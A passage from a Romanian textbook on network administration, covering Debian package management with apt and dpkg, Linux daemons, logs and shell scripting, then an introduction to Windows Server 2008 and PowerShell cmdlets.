pachetului B. La fel, dezinstalarea pachetului B va fora dezinstalarea pachetului A.
7 | C u p r i n s

Majoritatea distribuiilor GNU/Linux folosesc noiunea de depozit de pachete (repository).
Acesta este un URL care precizeaz locaia diverselor pachete ale distribuiei. Aceste depozite
sunt precizate n fiiere de configurare specifice distribuiei. Aplicaii front-end peste PMS pot
interoga depozitele i pot descrca i instala noi pachete.
n lumea Linux exist diverse formate de pachete, cele mai cunoscute fiind formatul DEB,
specific distribuiilor Debian-based i formatul RPM folosit de Fedora/RedHat, Mandriva, SuSE,
etc. Fiecare format are propriul PMS. Utilitarul alien
1
permite conversia ntre diverse formate
de pachete.
0.2.6 Gestiunea pachetelor DEB
Utilitarul de baz (PMS) pentru gestiunea pachetelor DEB este dpkg. dpkg este folosit
pentru instalarea, dezinstalarea i configurarea unui pachet.
n mod obinuit, ns, cea mai mare parte a acestor aciuni vor fi realizate prin intermediul
utilitarului APT (Advanced Packaging Tool). APT este un front-end peste dpkg i permite
interogarea depozitelor de pachete configurate, verificarea dependinelor, descrcarea
automat a pachetelor din repository, actualizarea acestora, upgrade-ul unei distribuii, etc.
Fiierul de configurare a unui depozit DEB este /etc/apt/sources.list:
anaconda:/tmp# cat /etc/apt/sources.list
[...]
deb http://ftp.lug.ro/debian etch main contrib non-free
deb-src http://ftp.lug.ro/debian etch main contrib non-free
Adugarea unui nou depozit nseamn adugarea unei noi linii n fiierul de configurare.
Aciunile care pot fi realizate cu ajutorul utilitarului apt sunt:
actualizarea listei de pachete:
anaconda:/tmp# apt-get update
Get: 1 http://ftp.lug.ro etch Release.gpg [386B]
Get: 2 http://ftp.lug.ro etch/updates Release.gpg [189B]
Hit http://ftp.lug.ro etch Release
Get: 3 http://www.backports.org etch-backports Release.gpg [189B]
Get: 4 http://ftp.lug.ro etch/updates Release [37.6kB]
Ign http://debian.pkgs.cpan.org unstable Release.gpg
Get: 5 http://www.backports.org etch-backports Release [43.7kB]
Ign http://ftp.lug.ro etch/main Packages/DiffIndex
Ign http://ftp.lug.ro etch/contrib Packages/DiffIndex
[...]
cutarea de pachete:
anaconda:/tmp# apt-cache search hevea
hevea - translates from LaTeX to HTML, info, or text
lyx - High Level Word Processor
hevea-doc - HeVeA documentation
afiarea de informaii despre un fiier:
anaconda:/tmp# apt-cache show hevea
Package: hevea
Priority: optional
Section: tex
Installed-Size: 2125
Maintainer: Debian OCaml Maintainers <debian-ocaml-maint@lists.debian.org>
Architecture: all
Version: 1.09-3
instalarea unui pachet (i a dependinelor sale):
anaconda:/tmp# apt-get install apt-file
Reading package lists... Done
Building dependency tree... Done
The following extra packages will be installed:
libapt-pkg-perl libconfig-file-perl
The following NEW packages will be installed
apt-file libapt-pkg-perl libconfig-file-perl
0 upgraded, 3 newly installed, 0 to remove and 66 not upgraded.

1
http://kitenet.net/~joey/code/alien/
8 | R e e l e L o c a l e

Need to get 106kB of archives.
After unpacking 406kB of additional disk space will be used.
Do you want to continue [Y/n]? Y
dezinstalarea unui pachet:
anaconda:/tmp# apt-get remove --purge apt-file
Reading package lists... Done
Building dependency tree... Done
The following packages will be REMOVED
apt-file*
curarea cache-ului local de pachete:
anaconda:/tmp# apt-get clean
instalarea surselor unui pachet:
anaconda:/tmp# apt-get source apt-file
Reading package lists... Done
Building dependency tree... Done
Need to get 17.7kB of source archives.
Get: 1 http://ftp.lug.ro etch/main apt-file 2.0.8.2 (dsc) [505B]
Get: 2 http://ftp.lug.ro etch/main apt-file 2.0.8.2 (tar) [17.2kB]
n plus fa de apt, dpkg ofer opiuni pentru interogarea strii actuale a pachetelor sau a
coninutul acestora. Printre opiunile utile se numr:
listarea coninutului unui pachet:
anaconda:/tmp# dpkg -L coreutils
/.
/bin
/bin/mkdir
/bin/mv
/bin/true
/bin/mknod
/bin/sleep
/bin/touch
/bin/chgrp
/bin/uname
/bin/echo
/bin/sync
[...]
afiarea pachetelor al cror nume se potrivete cu o expresie regulat:
anaconda:/tmp# dpkg -l 'linux*'
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name Version Description
+++-==============-==============-============================================
un linux <none> (no description available)
un linux-doc-2.6. <none> (no description available)
un linux-gnu <none> (no description available)
un linux-image <none> (no description available)
un linux-image-2. <none> (no description available)
ii linux-image-2. 2.6.18+6etch3 Linux kernel 2.6 image on Ppro/Celeron/PII/P
[...]
cutarea pachetului ce conine un anumit fiier
anaconda:/tmp# dpkg -S /bin/ps
procps: /bin/ps
0.2.7 Gestiunea serviciilor
O parte important a acestei cri este dedicat diverselor servicii pe care un sistem de
operare le pune la dispoziie (web, DNS, e-mail). n majoritate, serviciile de reea pe care un
sistem Linux le ofer au o form de administrare comun: instalare, fiiere de configurare,
pornire, repornire, oprire, troubleshooting, jurnalizare.
Un serviciu de reea (web, DNS, e-mail) este implementat printr-un proces server. Un
proces server este asociat, n lumea Unix, cu un daemon. Un daemon este un proces care
ruleaz n background decuplat de orice terminal care de obicei ascult conexiuni pe un
9 | C u p r i n s

anumit port i ofer resurse sau informaii unui client. Exemple de astfel de servere/daemoni
sunt: bind (Berkeley Internet Name Daemon), Apache/httpd, postfix, sshd, courier-imap.
n general, un serviciu este pornit la iniializarea sistemului de procesul init, primul
proces pornit de sistemul de operare. De aceea, n general, un daemon va avea asociat un
script de interaciune n /etc/init.d/. Operaiile de pornire, oprire, repornire a unui daemon
pot fi realizate, n mod generic, cu ajutorul unui astfel de script:
anaconda:/tmp# /etc/init.d/apache
Usage: /etc/init.d/apache {start|stop|reload|reload-modules|force-reload|restart}
anaconda:/tmp# /etc/init.d/bind9
Usage: /etc/init.d/bind9 {start|stop|reload|restart|force-reload}.
anaconda:/tmp# /etc/init.d/postfix
Usage: /etc/init.d/postfix {start|stop|restart|reload|flush|check|abort|force-reload}.
anaconda:/tmp# /etc/init.d/courier-imap
Usage: /etc/init.d/courier-imap {start|stop|restart|reload|force-reload}
Fiecare server/daemon poate avea i un mecanism propriu de pornire/repornire
(apache2ctl pentru Apache sau postfix pentru Postfix) dar interfaa /etc/init.d/ este
generic i comun oricrui daemon.
Pentru a verifica faptul c un daemon ruleaz, se poate folosi comanda netstat pentru a
afia daemon-ii care ascult conexiunii n reea:
anaconda:/tmp# netstat --tcp --listening --numeric --programs
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program
name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3285/apache
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 3285/apache
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 3080/inetd
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 3179/vsftpd
tcp 0 0 141.85.37.25:53 0.0.0.0:* LISTEN 2779/named
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 2779/named
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 3142/master
[...]
Fiind detaate de un terminal de control, interaciunea cu serviicile se realizeaz prin
intermediul fiierelor de configurare. Se modific fiierul/fiierele de configurare asociate unui
anumit serviciu i se repornete serviciul pentru a fora recitirea acestora. Fiierele de
configurare pentru servicii sunt fiiere text, sunt localizate n /etc i conin de obicei directive
de configurare n forma nume valoare:
anaconda:/tmp# cat /etc/postfix/main.cf
[...]
myhostname = anaconda.cs.pub.ro
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
[...]
Diversele probleme care apar n cazul unei configurri invalide, defectuoase sau a altor
probleme sunt identificate prin intermediul jurnalelor. Fiecare serviciu folosete un fiier sau
subdirector n /var/log unde stocheaz diverse mesaje de informare sau avertizare pentru
administratorul de sistem. O intrare n cadrul fiierului de jurnalizare indic ora la care s-a
realizat intrarea (timestamp) i un mesaj de informare. Se folosete, de obicei, utilitarul tail
pentru a afia ultimele intrri dintr-un fiier de jurnalizare:
anaconda:/tmp# tail /var/log/mail.err
Sep 10 11:15:33 anaconda imapd-ssl: Error reading ACLs for INBOX.lists.gnupg.: Invalid
argument
Sep 10 11:16:04 anaconda last message repeated 5 times
Sep 10 11:16:26 anaconda last message repeated 4 times
Sep 12 12:14:18 anaconda courierpop3login: authentication error: Input/output error
[...]
0.2.8 Shell scripting
O parte important din sarcinile unui administrator de sistem sunt repetitive i pot fi uor
automatizate. De aceea, cunotinele de shell scripting sunt fundamentale pentru a asigura
10 | R e e l e L o c a l e

eficiena activitilor efectuate. Un administrator poate recurge i la alte limbaj de scripting
precum Perl sau Python dar shell scripting-ul ofer posibilitatea de a folosi comenzi deja
implementate.
Fr a-i propune s prezinte exhaustiv noiunile legate de shell scripting, aceast seciune
ofer o trecere n revist a aspectelor importante.
0.2.8.1 Structura unui script shell
Un script shell conine pe prima linie simbolul she-bang (#!) urmat de interpretorul folosit,
spre exemplu #!/bin/bash. Urmtoarele linii sunt instruciuni sau comenzi shell rulate
secvenial. Un exemplu simplu de script shell este cel de mai jos:
razvan@anaconda:/tmp$ cat hw.bash
#!/bin/bash

echo "Hello, World"

exit 0
Rularea acestui script se poate realiza prin transmiterea ca argument interpretorului sau
prin rularea acestuia ca un executabil (dac are drept de execuie):
razvan@anaconda:/tmp$ bash hw.bash
Hello, World
razvan@anaconda:/tmp$ ls -l hw.bash
-rw-r--r-- 1 razvan razvan 41 Sep 13 14:45 hw.bash
razvan@anaconda:/tmp$ chmod a+x hw.bash
razvan@anaconda:/tmp$ ./hw.bash
Hello, World
0.2.8.2 Redirectare i nlnuirea comenzilor
Redirectarea nseamn folosirea unui fiier pentru a reine ieirea unei comenzi sau
pentru a fi folosit ca intrare a unei comenzi. Redictarea ieirii se realizeaz folosind operatorul
>, iar a intrrii folosind <:
anaconda:/tmp# ls > out.txt
anaconda:/tmp# cat < out.txt
apt-file-2.0.8.2
apt-file_2.0.8.2.dsc
apt-file_2.0.8.2.tar.gz
[...]
nlnuirea comenzilor se refer la folosirea operatorului | (pipe) pentru a trimite ieirea
unei comenzi la intrarea alteia:
razvan@valhalla:~$ last -10 | cut -d ' ' -f 1 | sort -u
razvan
reboot
wtmp
0.2.8.3 Variabile
n programarea shell, ca i multe alte limbaje de scripting o variabil nu are un tip i poate
fi considerat, n funcie de nevoie, ir sau numr. Cteva exemple de iniializare de variabile
sunt enumerate mai jos:
var1=5
my_home_dir=/home/users/alpha
list=a b c d e
Referirea unei variabile se realizeaz prin prefixarea numelui acesteia cu $.
razvan@valhalla:~$ echo $a
5
razvan@valhalla:~$ b="a are valoarea $a"
razvan@valhalla:~$ echo $b
a are valoarea 5
11 | C u p r i n s

Operatorul $ poate fi folosit, n mod generic, pentru expandare. Exceptnd expandarea
unei variabile la valoarea acesteia, operatorul poate fi folosit pentru expandare aritmetic sau
pentru stocarea ieirii unei comenzi:
razvan@valhalla:~$ a=5
razvan@valhalla:~$ b=$((a+3))
razvan@valhalla:~$ echo $b
8
razvan@valhalla:~$ c=$(ls | wc -l)
razvan@valhalla:~$ echo $c
15
0.2.8.4 Cicluri i instruciuni de decizie
Instruciunea de decizie folosit n scripturi este if. If primete ca argument o comand.
Rezultatul ntors de aceast comand determin execuia sau nu a instruciunilor urmtoare.
De obicei se folosete comanda test:
if test -f $fname; then # este $fname un fisier
[...]
fi
if test $a -ge 5; then # este $a mai mare sau egal cu 5
[...]
fi
if test abc == $string_var; then # este $string_var egal cu irul abc
[...]
fi
Cele mai folosite instruciuni de ciclare sunt for i while. Mai jos sunt prezentate cteva
exemple de folosire a acestora:
razvan@anaconda:/tmp$ for i in $(seq 1 10); do echo $i; done
1
2
3
4
5
6
7
8
9
10
razvan@anaconda:/tmp$ for i in "a b c"; do touch $i; done
razvan@anaconda:/tmp$ ls -l a b c
-rw-r--r-- 1 razvan razvan 0 Sep 13 14:51 a
-rw-r--r-- 1 razvan razvan 0 Sep 13 14:51 b
-rw-r--r-- 1 razvan razvan 0 Sep 13 14:51 c
razvan@anaconda:/tmp$ i=1; while test $i -le 5; do echo $i; ((i++)); done
1
2
3
4
5
0.2.8.5 Filtre de text
O parte important a scripturilor shell este folosit pentru prelucrarea de informaii text,
fie fiiere text fie ieirea anumitor comenzi. O component important a unui script shell este
reprezentat, n acest context, de comenzi folosite pentru prelucrarea de informaii text,
denumite i filtre de text. Exemple de astfel de comenzi sunt: tail, head, grep, cut.
Comenzile tail i head sunt folosite pentru a afia primele sau ultimele linii dintr-un fiier
text. Comanda grep este folosit pentru a selecta linii care conin un anumit ablon. Comanda
cut selecteaz coloane:
razvan@anaconda:/tmp$ cat /etc/passwd | grep and
andrewbwm:x:1031:1026:Andrei Buhaiu:/home/students/andrewbwm:/bin/bash
gabi:x:1039:1026:Gabriel Sandu:/home/students/gabi:/bin/bash
andreic:x:1045:1026:Andrei Cibotaru:/home/students/andreic:/bin/bash
antand:x:1069:100:,,,:/home/users/antand:/bin/bash
alexj:x:1072:1026:Alexandru Juncu:/home/students/alexj:/bin/bash
andreea:x:1082:1028:Andreea Leta:/home/students/andreea:/bin/bash
[...]
razvan@anaconda:/tmp$ cat /etc/passwd | cut -d ':' -f 1,5
[...]
12 | R e e l e L o c a l e

iulian:Iulian Moraru,,,
max:Maximilian Machedon,,,
cosmin:Cosmin Ratiu,,,
adrian:Adrian Nistor,,,
cristina:Cristina Carbunaru,,,
amihaiuc:Alex Mihaiuc,,,
0.3 Introducere n Microsoft Windows Server 2008
Alegerea i instalarea unui NOS (Network Operating System un sistem de operare
conceput pentru a funciona n reea) reprezint una dintre cele mai importante sarcini ce se
regsesc printre responsabilitile unui administrator de reea. De capabilitile sistemelor de
operare instalate depind toate procesele ulterioare de administrare, configurare, securizare,
actualizare, extindere, backup i, de ce nu, de atingere a unui user-experience favorabil.
Aceasta este prima ediie a crii de fa n care administrarea serviciilor de reea va fi
tratat deopotriv din perspectiva Linux/UNIX ct i din punctul de vedere al alternativei
Microsoft n domeniul NOS-urilor: Windows Server 2008.
A fost ales Windows Server 2008 pentru aceast ediie a crii nu pentru a-i pune n lumin
plusurile sau minusurile fa de mediul Linux, ci pentru a prezenta o alternativ demn de luat
n considerare din acest domeniu, o opiune funcional i aplicabil, complet sau parial, n
conceperea i implementarea unei reele de calculatoare.
Fiecare capitol, n limita aplicabilitii, va prezenta, n plus, tehnici i opiuni de configurare
a serviciilor de reea n mediul Windows. Deoarece Windows Server 2008 reprezint deja o
soluie proprietar, se va ncerca limitarea gradului de acoperire a serviciilor la nivelul celor
disponibile implicit ntr-o instalare de Windows Server 2008, cu observaiile de rigoare acolo
unde pot aprea diferene legate de versiuni. De asemenea, va fi dedicat un efort substanial
pentru evidenierea i utilizarea posibilitilor de scripting oferite de Windows prin
PowerShell.
0.3.1 Despre Microsoft Windows Server 2008
La momentul scrierii acestei cri, Windows Server 2008 reprezint cel mai recent produs
din gama sistemelor de operare de la Microsoft i, totodat, cel mai recent din seria Server. n
paginile acestei cri vor fi evideniate facilitile oferite de Windows Server 2008 ntr-un
context unitar, fr a accentua doar ceea ce este specific lui Windows Server 2008. De aceea,
este posibil ca multe dintre conceptele, procedurile i serviciile descrise s corespund ntr-o
oarecare msur celor prezente n versiunile anterioare din serie: Windows Server 2003,
Windows 2000, etc, cu Service Pack-urile aferente.
Windows Server 2008 intr n scena sistemelor de operare ca un succesor direct al lui
Windows Server 2003, care s-a bucurat de un succes semnificativ. nainte de a fi definitivat, n
faza sa incipient, el a fost denumit Codename Longhorn care, n cele din urm, s-a dovedit a fi
o platform de baz att pentru varianta prezent de Windows Server ct i pentru Windows
Vista, lansat cu ceva timp naintea versiunii Server. Din cauza acestei baze comune, Windows
Server 2008 i Vista mprtesc destul de multe proprieti ce in de arhitectur i
funcionalitate de baz.
Att Windows Server 2008 ct i Vista ofer faciliti similare cu privire la securitate,
management i administrare, n general, mpreun cu un suport solid pentru IPv6, utilitare
wireless native precum i multe alte faciliti ce se conformeaz cerinelor reelelor,
tehnologiilor i utilizatorilor din prezent. Bineneles, distincia dintre cele dou devine drastic
n momentul n care Windows Server 2008 se deprteaz de mediul preponderent
desktop/workstation al lui Vista prin opiunile de implementare la scar larg, n medii
enterprise, utilitare de monitorizare i diagnostic, redundan i faciliti de securitate mult
mbuntite.
13 | C u p r i n s

n sensul su de baz, un server trebuie s ofere servicii unor utilizatori sau altor servere,
ori, ca n cazul cel mai des intlnit n lumea real, o combinaie a celor dou. n termeni
tehnici, serverul reprezint, de fapt, sistemul de operare al mainii ce ndeplinete rolul de
server, mpreun cu aplicatiile pe care acesta le susine i le folosete pentru a putea oferi
serviciile menionate anterior. Evident, n aceste condiii, o platform de tip server va trebui
s suporte un nivel diferit de ncrcare i un mod diferit de utilizare a resurselor sale fa de o
platform desktop/workstation. De asemenea, un server trebuie s poat funciona o
perioad ndelungat de timp fr supraveghere i s implementeze mecanisme sigure de
recuperare n cazul erorilor sau evenimentelor neprevzute. Totodat, acestea trebuie
documentate ntr-un sistem de meninere a jurnalelor (logging) bine pus la punct pentru a
putea oferi rapid i coerent informaii despre evoluia sistemului. Acestea sunt, de asemenea,
aspecte prin care Windows Server 2008 se distaneaz de Vista i, implicit, de orice alt sistem
de operare orientat spre mediul desktop.
0.3.2 Windows PowerShell
0.3.2.1 Ce este Windows PowerShell?
Pe scurt, PowerShell reprezint noua generaie de interpretor de comenzi i limbaj de
scripting de la Microsoft, construit peste platforma .NET i CLR (Common Language Runtime),
ce poate fi folosit att pentru nlocuirea venerabilului interpretor de comenzi cmd.exe, ct i
a limbajului VBScript. Aceast natur dual a lui PowerShell poate crea iniial probleme
printre administrator obinuii cu cmd.exe i slabele sale capabiliti sau cu VBScript,
depotriv puternic i dificil (incomod) folosit pentru automatizarea sarcinilor. Aceste unelte
funcioneaz satisfctor din punctul de vedere al funcionalitii pe care o ofer, dar sunt n
prezent folosite n scopuri pentru care nu au fost create. Cmd.exe a fost scris ca un interpretor
succesor al DOS Prompt-ului, iar VBScript a fost mai mult sau mai puin conceput n contextul
paginilor web. Niciunul nu a fost conceput de la bun nceput de ctre administratori sau
pentru ei.
Majoritatea interpretoarelor de comenzi, printre care i cmd.exe, alturi de
interpretoarele din mediul UNIX (sh, csh, ksh, bash, etc) funcioneaz prin executarea
comenzilor n cadrul unor procese noi, returnnd rezultatul sub form de text utilizatorului.
Din acest motiv, de-a lungul timpului, n special n mediul UNIX, utilitarele de procesare de text
au fost mbuntite n permanen, oferind n mod indirect funcionaliti din ce n ce mai
extinse interpretorului n sine i uurnd interaciunea utilizatorului cu el. De asemenea,
interpretoarele accept comenzi ce sunt ncorporate direct n funcionalitatea lor, la aceast
categorie pretndu-se cu succes cmd.exe. n orice caz, capabilitile interne ale
interpretoarelor de comenzi sunt limitate, drept pentru care o mare parte din funcionalitatea
pe care acestea o ofer se bazeaz pe utilitarele pe care acestea le apeleaz. La acest capitol,
Windows PowerShell funcionez oarecum diferit, el tratnd comenzile ca pe nite obiecte n
contextul platformei .NET, ce sunt trecute prin acelai interpretor, ceea ce imprim un
comportament unitar precum i o form consistent a comenzilor. PowerShell la versiunea 1.0
suport aproximativ 130 de comenzi, toate ncorporate n interpretor.
0.3.2.2 Instalarea Windows PowerShell
Pe un sistem Windows Server 2008 nu este necesar descrcarea de pe Internet a
pachetului de instalare. PowerShell este disponibil ca feature al sistemului i nu e necesar
dect activarea sa (vezi seciunea urmtoare).
14 | R e e l e L o c a l e

n afar de Windows Server 2008, PowerShell mai poate fi instalat i poate rula pe
urmtoarele platforme:
Windows XP Service Pack 2
Windows 2003 Service Pack 1
Windows Vista
Orice versiune mai recent a acestora

Pentru toate sistemele de operare de mai sus este necesar prezena Microsoft .NET
Framework cel puin la versiunea 2.0.
La momentul scrierii acestei cri, versiunea curent de PowerShell ce poate fi descrcat
de pe site-ul Microsoft este Windows PowerShell 2.0 CTP2
1
(Community Technology Preview).
Versiunea de PowerShell inclus n Windows Server 2008 este 1.0. naintea instalrii unei
noi versiuni, este necesar dezinstalarea celei vechi folosind Add/Remove Programs sau
Programs and Features din Control Panel.
Pe versiunile de Windows pe 32 de bii, PowerShell se instaleaz implicit n directorul
%SystemRoot%\System32\WindowsPowerShell\v1.0.
Pe versiunile de Windows pe 64 de bii, varianta PowerShell pe 32 de bii se instaleaz n
directorul %SystemRoot%\SystemWow64\WindowsPowerShell\v1.0 iar varianta pe 64 de bii,
ca i n cazul anterior, la %SystemRoot%\System32\WindowsPowerShell\v1.0.
0.3.2.3 Lansarea n execuie a Windows PowerShell
Pentru a minimiza riscurile de securitate, Windows Server 2008 instaleaz implicit doar un
set minimal de componente. De aceea, pentru a porni PowerShell pe Windows Server 2008,
acesta trebuie instalat mai nti ca feature al sistemului. Calea pentru activarea PowerShell ca
feature este:
1. Se lanseaz Server Manager
2. n lista de features se selecteaz Add feature
3. Se bifeaz Windows PowerShell i se confirm instalarea

Odat instalat, sunt disponibile mai multe metode de a-l porni:
Din fereastra de Run, scriind PowerShell i apsnd Enter
Din interpretorul cmd.exe, scriind PowerShell i apsnd Enter
Din meniul Start > All Programs > Windows PowerShell 1.0 > Windows
PowerShell


0-3: Prompt-ul PowerShell, dup lansare
Deoarece PowerShell ruleaz ntr-o sesiune de consol, poate fi lansat i controlat i de la
distan, prin Telnet sau SSH. Pentru revenirea la promptul de comand se tasteaz exit.
Dup lansare, se observ c interfaa PowerShell este extrem de similar cu cea din
cmd.exe, cu excepia faptului c bara de titlu conine acum textul Windows PowerShell,
prompt-ul afieaz caracterele PS la nceputul liniei, iar fundalul ferestrei este albastru (cu
excepia cazului n care a fost lansat direct din cmd.exe).

1
http://www.microsoft.com/technet/scriptcenter/topics/winpsh/pshell2.mspx
15 | C u p r i n s

0.3.2.4 Configurri
Interfaa PowerShell-ului poate fi configurat printr-un set relativ minimal de opiuni
disponibile prin clic-dreapta pe bara de titlu, la opiunea Properties.
Printre parametrii ce pot fi configurai se numr: mrimea buffer-ului, tipul de font folosit
i mrimea sa, mrimea ferestrei i a zonei ce poate fi derulat, precum i schema de culori
folosit.
0.3.2.5 Comenzile PowerShell
PowerShell permite administratorilor s controleze i s automatizeze administrarea
sistemului de operare, dar i a aplicaiilor ce ruleaz pe el. Comenzile sale sunt numite
cmdlet(s) (pronunat command-let(s) n carte vor fi numite simplu comenzi de aici
ncolo) i permit accesul att la sistemul de fiiere i la diverse resurse ale sistemului, precum
i la zone ca registry, certificate digitale, etc.
Limbajul comenzilor PowerShell este unul orientat pe obiecte, nrudit cu limbajele de
nivel nalt ce folosesc platforma .NET, cum ar fi C#, comun tuturor comenzilor, conceput
pentru a simplifica sarcinile complexe, fr a aduga un surplus inacceptabil de complexitate
celor simple.
Pentru a lista toate opiunile cu privire la parametrii disponibili la pornirea PowerShell, din
cmd.exe, se folosete comanda:
PowerShell -?
Pentru a accesa ajutorul inclus n PowerShell, dup pornirea acestuia se poate introduce
comanda:
Get-Help
Majoritatea comenzilor PowerShell sunt simple, dar pot fi folosite n diverse combinaii.
Ele sunt usor identificabile dup formatul numelor: un verb i un substantiv separate printr-o
liniu (-), de exemplu: Get-Process, Start-Service, Get-Help. Din formatul comenzilor se
desprind cteva categorii:
comenzile de tip get care returneaz date;
comenzile de tip set care introduc sau modific date;
comenzile de tip out care direcioneaz ieirea spre o destinaie specificat;
comenzile de tip format care schimb formatul datelor returnate ca rezultat.
Pentru a afia o list complet a comenzilor suportate de PowerShell se poate folosi
comanda
1
:
Get-Command
Fiecare comand include o seciune de ajutor care descrie comportamentul, sintaxa i
parametrii comenzii, alturi de posibile exemple de utilizare, ca n cazul paginilor man din
mediul UNIX. Pentru a accesa informaiile de ajutor ale unei comenzi se folosete sintaxa:
Get-Help <nume_comanda> -Detailed, ca n exemplul urmtor:
PS C:\Users\Administrator> get-help get-help -detailed

NAME
Get-Help

SYNOPSIS
Displays information about Windows PowerShell cmdlets and concepts.
SYNTAX

1
Se observ c n rezultatul lui Get-Command sunt returnate doar acele comenzi specifice i suportate
nativ de ctre PowerShell, dar nu sunt listate toate comenzile suportate de acesta prin alias-uri sau din motive de
compatibilitate cu vechile comenzi DOS sau UNIX. Mai multe detalii n seciunea 0.3.2.10.
16 | R e e l e L o c a l e

[...]
DETAILED DESCRIPTION
[...]
PARAMETERS
[...]
0-4: Ajutor pentru comanda Get-Help
n exemplul urmtor, comanda afieaz o list cu toate fiierele de ajutor din Windows
PowerShell:
C:\PS>get-help *
n legtur cu lansarea programelor externe din PowerShell, trebuie avut n vedere faptul
c acesta mprumut aproape complet funcionalitatea oferit de cmd.exe, spre exemplu
posibilitatea lansrii de aplicaii att n linie de comand ct i a celor grafice (calculator,
notepad, etc) PowerShell identificnd executabilele de lansat n directoarele specificate de
variabila de mediu %PATH%, la fel ca i cmd.exe. De asemenea, redirectrile funcioneaz
identic. Afiarea variabilei de mediu %PATH% se poate face cu PowerShell prin comanda
Get-Content env:path.
Pentru cmd.exe, comanda similar este:
echo %path%.
De asemenea, n PowerShell, se poate folosi completarea automat a comenzilor pentru a
cicla ntre variabilele de mediu disponibile. Pentru aceasta, se apasa tasta Tab dup cele dou
pucte de dup env. n cmd.exe, pentru a returna o list a variabilelor de mediu definite,
mpreun cu valorile lor, se folosete comanda set.
0.3.2.6 Comenzi de ajutor n PowerShell
Obinerea de ajutor pentru comenzile din PowerShell se face prin comanda:
Get-Help
Introducerea comenzii fr parametri are ca efect afiarea de informaii legate de modul
de utilizare al comenzii Get-Help.
Pentru a obine ajutor despre o anumit comand se introduce comanda respectiv ca
parametru:
Get-Help Get-Process
Pentru a se afia informaii detaliate despre o comand, se folosete parametrul
detailed:
Get-Help Get-Process -Detailed
Dac se dorete afiarea tuturor informaiilor de ajutor pentru o anumit comand, la un
nivel de detaliu puin mai tehnic, se folosete parametrul Full:
Get-Help Get-Process Full
Este posibil afiarea doar a unei categorii de informaii din pagina de ajutor. n exemplul
urmtor, se afieaz doar exemplele de utilizare ale comenzii Get-Process:
Get-Help Get-Process Examples
De asemenea, pentru afiarea tuturor parametrilor unei comenzi, se folosete parametrul
Parameter urmat de *. Intuitiv, pentru afiarea informaiilor despre un singur parametru,
acesta se specific explicit:
Get-Help Get-Process Parameter *
Get-Help Get-Process Parameter id
17 | C u p r i n s

Pentru a crea o consisten fa de comenzile UNIX, comanda Get-Help poate fi nlocuit
de comenzile:
man <nume_comanda>
sau
info <nume_comanda>
ce reprezint funcii interne ale PowerShell-ului care apeleaz Get-Help i pot fi privite ca
pe nite alias-uri.
Caracterul * poate fi folosit n cadrul comenzii Get-Help pentru a afia rezultatele mai
multor comenzi. Spre exemplu, urmtoarea comand afieaz toate seciunile de ajutor ce
ncep cu about, mpreun cu o scurt descriere a lor:
Get-Help about*
Pentru mai multe detalii legate de modul n care pot fi substituite irurile de caractere n
PowerShell (i n Windows, n general), se poate obine ajutor direct din interiorul PowerShell-
ului introducnd comanda (totodat un exemplu pentru comanda anterioar):
Get-Help about_Wildcards
Wildcard-ul poate fi folosit i n cadrul parametrilor. n exemplul urmtor se listeaz doar
procesele care ncep cu w din lista returnat de Get-Process:
PS C:\Users\Administrator> Get-Process w*

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
492 17 56868 9584 184 10.51 9308 winamp
108 5 1580 2320 51 1.54 556 wininit
152 4 2604 4176 53 1.70 604 winlogon
638 34 49580 26888 342 785.89 10848 WINWORD
150 5 2120 3164 48 10.58 1416 wlanext
320 10 24192 5000 155 78.92 3508 WLTRAY
40 2 680 996 21 0.02 1408 WLTRYSVC
0.3.2.7 Comenzi i obiecte
Comenzile i rezultatele din PowerShell sunt, de fapt, obiecte .NET. Conform conceptelor
de baz ale programrii orientate pe obiecte, un obiect reprezint o instan, o entitate ce
deine anumite caracteristici descrise de proprieti i poate executa anumite aciuni prin
intermediul metodelor.
Spre exemplu, o comanda ce returneaz un serviciu in PowerShell de fapt returneaz un
obiect ce reprezint serviciul. Informaiile despre serviciu sunt proprieti ale obiectului
returnat. Pornirea unui serviciu se traduce n setarea proprietii Status pe valoarea
started folosind o metod a obiectului serviciu.
Din faptul c fundamentul comenzilor PowerShell l reprezint obiectele, se deduce faptul
c anumite utilitare de procesare bazate pe text i aplicate pe rezultatele comenzilor
PowerShell ar putea s nu aib rezultatul ateptat. De fapt, n cele mai multe dintre cazuri,
folosirea utilitarelor de procesare text nici nu este necesar, din moment ce datele specifice
pot fi extrase din rezultatele comenzilor folosind metodele standard de manipulare a
obiectelor. Acest lucru este posibil deoarece rezultatele comenzilor ncapsuleaz o mulime de
alte informaii dect cele vizibile ca iruri de caractere pe ecran.
Spre exemplu, o modalitate de a afia informaii despre toate interfeele de reea din
sistem, fizice sau virtuale, o reprezint urmtoarea comand:
get-wmiobject Win32_NetworkAdapterConfiguration
Fr a i se aplica vreun filtru, comanda de mai sus afieaz sub forma unei liste civa
parametri ai interfeelor, ca prezena unei adrese IP, a unui server DNS, dac interfaa este
18 | R e e l e L o c a l e

configurat automat prin DHCP sau nu, numele su, etc, concatennd aceste informaii pentru
toate interfeele. La nivel de text, dac s-ar dori doar afiarea numelui interfeei i a adresei IP
configurate pe ea, s-ar folosi aceeai comand, filtrnd rezultatul su i pstrnd acelai mod
de afiare. n PowerShell, ns, rezultatul este un obiect din care se pot extrage doar
proprietile dorite, ca n exemplul urmtor:
get-wmiobject Win32_NetworkAdapterConfiguration | Select-Object -property IPAddress,
Description
Comanda de mai sus selecteaz doar proprietile denumite IPAddress i Description
pentru fiecare interfa i le afieaz sub forma unui tabel.
O important comand pentru afiarea tuturor proprietilor i metodelor unui obiect o
reprezint Get-Member. Spre exemplu, pentru obiectul returnat de comanda de mai sus,
proprietile i metodele sale pot fi afiate trimindu-l printr-un pipe comenzii Get-Member:
